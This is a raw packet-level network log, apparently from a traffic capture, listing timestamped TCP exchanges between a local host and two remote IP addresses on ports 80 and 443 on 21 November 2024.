Nov 21, 2024 07:10:36.044776917 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.048120975 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.048228979 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.048260927 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.048331022 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.051619053 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.051635027 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.051692009 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.054944038 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.055044889 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.055072069 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.055156946 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.058211088 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.058363914 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.058370113 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.058450937 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.061522007 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.061583042 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.061630964 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.061688900 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.064821005 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.064945936 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.064985037 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.065001965 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.068120956 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.068242073 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.068276882 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.068295956 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.071393967 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.071444988 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.071476936 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.071511030 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.074676991 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.074739933 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.074814081 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.074861050 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.077984095 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.078053951 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.078090906 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.078248024 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.081248045 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.081392050 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.081432104 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.081486940 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.084517002 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.084592104 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.084625959 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.086044073 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.087821960 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.087882042 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.087928057 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.088066101 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.091101885 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.091263056 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.091362953 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.094616890 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.094681978 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.094728947 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.094819069 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.097686052 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.097779989 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.097809076 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.097907066 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.100987911 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.101075888 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.101100922 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.101151943 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.104279995 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.104367018 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.104427099 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.104427099 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.107575893 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.107660055 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.107686996 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.107848883 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.110886097 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.110940933 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.110986948 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.111032963 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.114134073 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.114273071 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.114327908 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.117436886 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.117506027 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.117535114 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.117604017 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.120841980 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.120865107 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.120918036 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.120966911 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.124011993 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.124182940 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.124198914 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.124232054 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.127332926 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.127348900 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.127398968 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.127453089 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.130336046 CET	443	49833	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.155834913 CET	49833	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.155873060 CET	443	49833	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.157407999 CET	443	49833	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.157481909 CET	49833	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.164820910 CET	49833	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.164921045 CET	443	49833	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.165055037 CET	49833	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.165071964 CET	443	49833	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.166250944 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.167042971 CET	443	49834	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.169074059 CET	49834	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.169111967 CET	443	49834	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.169213057 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.169225931 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.169986010 CET	443	49834	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.170067072 CET	49834	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.170635939 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.170711994 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.171099901 CET	49834	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.171163082 CET	443	49834	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.171331882 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.171411991 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.171438932 CET	49834	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.171454906 CET	443	49834	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.171468019 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.171473980 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.178311110 CET	443	49835	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.193121910 CET	49835	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.193140030 CET	443	49835	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.196125031 CET	443	49835	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.196199894 CET	49835	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.202220917 CET	49835	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.202287912 CET	443	49835	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.202636003 CET	49835	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.202649117 CET	443	49835	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.214202881 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.220976114 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.221050024 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.221100092 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.221170902 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.222400904 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.222466946 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.222476959 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.222522020 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.225039959 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.225089073 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.225145102 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.225188971 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.227654934 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.227705002 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.227996111 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.228092909 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.230325937 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.230379105 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.230438948 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.230492115 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.232964993 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.233093023 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.233124018 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.233140945 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.235513926 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.235569954 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.235750914 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.235804081 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.238015890 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.238149881 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.238179922 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.238208055 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.240469933 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.240591049 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.240612030 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.240695953 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.242883921 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.242966890 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.243007898 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.243074894 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.245313883 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.245394945 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.245448112 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.247708082 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.247834921 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.247890949 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.250022888 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.250164986 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.250226974 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.252398014 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.252486944 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.252547026 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.254601002 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.254697084 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.254753113 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.257049084 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.257144928 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.257206917 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.259136915 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.259246111 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.259310007 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.261445999 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.261588097 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.261645079 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.263748884 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.263873100 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.263938904 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.266313076 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.266379118 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.266379118 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.266431093 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.268207073 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.268266916 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.268306017 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.268632889 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.270478964 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.270577908 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.270584106 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.270709038 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.272697926 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.272841930 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.272902966 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.275029898 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.275178909 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.275238991 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.277275085 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.277393103 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.277455091 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.277858973 CET	49833	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.277924061 CET	49834	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.279622078 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.279666901 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.279706001 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.279771090 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.281821966 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.281891108 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.281999111 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.282037973 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.284073114 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.284166098 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.284204006 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.284254074 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.286322117 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.286380053 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.286458969 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.286541939 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.288606882 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.288652897 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.288691044 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.288757086 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.290921926 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.291033983 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.291047096 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.291116953 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.293370962 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.293481112 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.293505907 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.293736935 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.295447111 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.295505047 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.295547962 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.295707941 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.297646999 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.297688961 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.297772884 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.297827959 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.299916029 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.300054073 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.300059080 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.300307035 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.302182913 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.302246094 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.302290916 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.302334070 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.304477930 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.304536104 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.304557085 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.304768085 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.306723118 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.306830883 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.306875944 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.309000969 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.309057951 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.309106112 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.309156895 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.311908960 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.311929941 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.311975956 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.313524008 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.313568115 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.313632965 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.313685894 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.315818071 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.315871954 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.315984011 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.316051960 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.318074942 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.318156958 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.318249941 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.318315029 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.320348024 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.320413113 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.320449114 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.320643902 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.322614908 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.322658062 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.322695971 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.322742939 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.324883938 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.324984074 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.325030088 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.327176094 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.327295065 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.327358961 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.329375029 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.329477072 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.329538107 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.331685066 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.331784010 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.331835985 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.333905935 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.333951950 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.334034920 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.334089994 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.336178064 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.336287975 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.336292028 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.336358070 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.338447094 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.338511944 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.338551998 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.338603020 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.340775967 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.340832949 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.340909958 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.340960979 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.411034107 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.411191940 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.411303043 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.411330938 CET	443	49835	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.411529064 CET	49835	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.411932945 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.411994934 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.412090063 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.413391113 CET	80	49828	185.215.113.16	192.168.2.4
